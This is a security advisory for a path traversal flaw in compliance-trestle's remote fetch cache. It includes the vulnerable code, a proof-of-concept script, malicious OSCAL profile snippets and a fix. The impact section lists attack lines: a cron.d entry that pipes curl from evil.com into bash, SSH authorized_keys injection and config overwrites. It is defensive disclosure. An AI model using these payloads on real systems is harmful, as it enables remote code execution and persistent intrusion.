CVE-2026-45725: compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal
Summary The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../).
Published May 27, 2026
Affected packages
compliance-trestle
- Ecosystem
- PyPI
- Affected
- >= 4.0.0, <= 4.0.2
- Fixed in
- 4.0.3
- Check
pip show compliance-trestle
compliance-trestle
- Ecosystem
- PyPI
- Affected
- < 3.12.2
- Fixed in
- 3.12.2
- Check
pip show compliance-trestle
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Affected Component
Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:259-266 — HTTPSFetcher cache path construction
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self._uri} requires hostname')
https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache
self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)cache.py:285-295 — Content written to traversed path
def _do_fetch(self) -> None:
# ...
response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
if response.status_code == 200:
result = response.text # ❌ Attacker-controlled content
self._cached_object_path.write_text(result) # ❌ Written to arbitrary pathcache.py:328-333 — SFTPFetcher (identical pattern)
class SFTPFetcher(FetcherBase):
def __init__(self, ...):
# Identical path construction — same vulnerability
sftp_cached_dir = self._trestle_cache_path / u.hostname
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
sftp_cached_dir = sftp_cached_dir / path_parent
sftp_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)Root Cause:
urlparse("https://evil.com/../../../tmp/pwned.json").path=/../../../tmp/pwned.json— preserves../pathlib.Path(u.path).parentpreserves traversal sequencescache_dir / hostname / "../../../../../../tmp"resolves outside cachemkdir(parents=True, exist_ok=True)creates intermediate directorieswrite_text(response.text)writes attacker-controlled content to traversed path- No `is_relative_to()` boundary check on the resolved path
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2PoC: Malicious OSCAL Profile
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"PoC: Cache Path Traversal Simulation
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)
evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)
print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)
Remediation
Fix for HTTPSFetcher (cache.py:259-266):
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
https_cached_dir = self._trestle_cache_path / u.hostname
# ✅ Sanitize path: remove traversal sequences
safe_path = pathlib.PurePosixPath(u.path).parts
safe_path = [p for p in safe_path if p != '..' and p != '/']
path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = https_cached_dir / safe_path[-1]
# ✅ Boundary check
if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
raise TrestleError(
f"Cache path traversal blocked: URL '{uri}' resolves to "
f"'{self._cached_object_path.resolve()}' outside cache directory"
)Same fix required for SFTPFetcher at lines 328-333.
References
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
1. Cron Job Injection → Remote Code Execution
# Profile that writes a cron job
imports:
- href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'2. SSH Authorized Keys Injection
imports:
- href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"Attacker's server responds with their SSH public key.
3. Config File Overwrite
imports:
- href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"4. Python Path Hijacking
Write malicious .py file to a location on sys.path for code execution on next import.
Credited to AnistoMejin, yantongggg.
References
- https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858
- https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0
- https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3
- https://github.com/advisories/GHSA-g3vg-vx23-3858
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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